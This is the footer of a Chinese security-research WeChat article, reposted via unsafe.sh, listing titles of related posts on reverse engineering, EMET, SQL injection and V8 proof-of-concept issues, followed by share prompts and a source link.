2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458478852&idx=1&sn=bb7e8a80f3571ddb0fb32855fc295a3f&chksm=b18e598e86f9d0983ed5f1a8c963d15cc4f3479e2a6603b2c6aa4c9656304c8c576151d7c39f#rd
如有侵权请联系:admin#unsafe.sh